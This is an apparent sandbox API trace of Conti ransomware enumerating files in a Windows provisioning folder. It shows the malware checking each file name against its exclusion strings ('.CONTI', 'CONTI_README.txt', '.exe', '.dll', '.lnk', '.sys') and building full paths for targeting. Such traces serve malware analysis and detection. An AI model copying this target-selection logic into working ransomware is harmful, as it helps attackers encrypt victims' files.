	[0108.627] StrStrIW (lpFirst="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.627] StrStrIW (lpFirst="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.627] StrStrIW (lpFirst="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.627] StrStrIW (lpFirst="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.627] StrStrIW (lpFirst="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.627] StrStrIW (lpFirst="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.627] StrStrIW (lpFirst="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.627] StrStrIW (lpFirst="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.627] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.628] lstrlenW (lpString="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml") returned 63
	[0108.628] GetProcessHeap () returned 0x1720000
	[0108.628] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x17d6a98
	[0108.628] lstrcpyW (in: lpString1=0x17d6a98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.628] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.628] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml"
	[0108.628] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x376, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="22__CO~1.PRO")) returned 1
	[0108.628] lstrcmpiW (lpString1="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.628] lstrcmpiW (lpString1="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.628] StrStrIW (lpFirst="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.628] StrStrIW (lpFirst="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.628] StrStrIW (lpFirst="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.628] StrStrIW (lpFirst="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.628] StrStrIW (lpFirst="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.628] StrStrIW (lpFirst="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.628] StrStrIW (lpFirst="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.628] StrStrIW (lpFirst="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.628] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.628] lstrlenW (lpString="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml") returned 68
	[0108.628] GetProcessHeap () returned 0x1720000
	[0108.628] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x17d6d28
	[0108.628] lstrcpyW (in: lpString1=0x17d6d28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.628] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.628] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml"
	[0108.628] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", cAlternateFileName="230__C~1.PRO")) returned 1
	[0108.628] lstrcmpiW (lpString1="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.628] lstrcmpiW (lpString1="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.628] StrStrIW (lpFirst="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.628] StrStrIW (lpFirst="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.628] StrStrIW (lpFirst="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.628] StrStrIW (lpFirst="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.628] StrStrIW (lpFirst="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.629] StrStrIW (lpFirst="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.629] StrStrIW (lpFirst="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.629] StrStrIW (lpFirst="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.629] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.629] lstrlenW (lpString="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml") returned 67
	[0108.629] GetProcessHeap () returned 0x1720000
	[0108.629] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x17d7b40
	[0108.629] lstrcpyW (in: lpString1=0x17d7b40, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.629] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.629] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml"
	[0108.629] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="231__C~1.PRO")) returned 1
	[0108.629] lstrcmpiW (lpString1="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.629] lstrcmpiW (lpString1="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.629] StrStrIW (lpFirst="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.629] StrStrIW (lpFirst="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.629] StrStrIW (lpFirst="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.629] StrStrIW (lpFirst="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.629] StrStrIW (lpFirst="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.629] StrStrIW (lpFirst="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.629] StrStrIW (lpFirst="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.629] StrStrIW (lpFirst="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.629] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.629] lstrlenW (lpString="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml") returned 76
	[0108.629] GetProcessHeap () returned 0x1720000
	[0108.629] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x17d0bb0
	[0108.629] lstrcpyW (in: lpString1=0x17d0bb0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.629] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.629] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml"
	[0108.629] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", cAlternateFileName="232__C~1.PRO")) returned 1
	[0108.629] lstrcmpiW (lpString1="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.629] lstrcmpiW (lpString1="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.629] StrStrIW (lpFirst="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.630] StrStrIW (lpFirst="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.630] StrStrIW (lpFirst="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.630] StrStrIW (lpFirst="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.630] StrStrIW (lpFirst="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.630] StrStrIW (lpFirst="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.630] StrStrIW (lpFirst="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.630] StrStrIW (lpFirst="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.630] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.630] lstrlenW (lpString="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml") returned 67
	[0108.630] GetProcessHeap () returned 0x1720000
	[0108.630] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x17d6fb8
	[0108.630] lstrcpyW (in: lpString1=0x17d6fb8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.630] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.630] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml"
	[0108.630] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", cAlternateFileName="233__C~1.PRO")) returned 1
	[0108.630] lstrcmpiW (lpString1="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.630] lstrcmpiW (lpString1="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.630] StrStrIW (lpFirst="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.630] StrStrIW (lpFirst="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.630] StrStrIW (lpFirst="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.630] StrStrIW (lpFirst="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.630] StrStrIW (lpFirst="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.630] StrStrIW (lpFirst="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.630] StrStrIW (lpFirst="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.630] StrStrIW (lpFirst="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.630] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.630] lstrlenW (lpString="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml") returned 63
	[0108.630] GetProcessHeap () returned 0x1720000
	[0108.630] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x17d7248
	[0108.630] lstrcpyW (in: lpString1=0x17d7248, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.630] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.630] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml"
	[0108.631] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="234__C~1.PRO")) returned 1
	[0108.631] lstrcmpiW (lpString1="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.631] lstrcmpiW (lpString1="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.631] StrStrIW (lpFirst="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.631] StrStrIW (lpFirst="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.631] StrStrIW (lpFirst="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.631] StrStrIW (lpFirst="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.631] StrStrIW (lpFirst="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.631] StrStrIW (lpFirst="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.631] StrStrIW (lpFirst="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.631] StrStrIW (lpFirst="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.631] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.631] lstrlenW (lpString="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml") returned 71
	[0108.631] GetProcessHeap () returned 0x1720000
	[0108.631] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x17d0e60
	[0108.631] lstrcpyW (in: lpString1=0x17d0e60, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.631] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
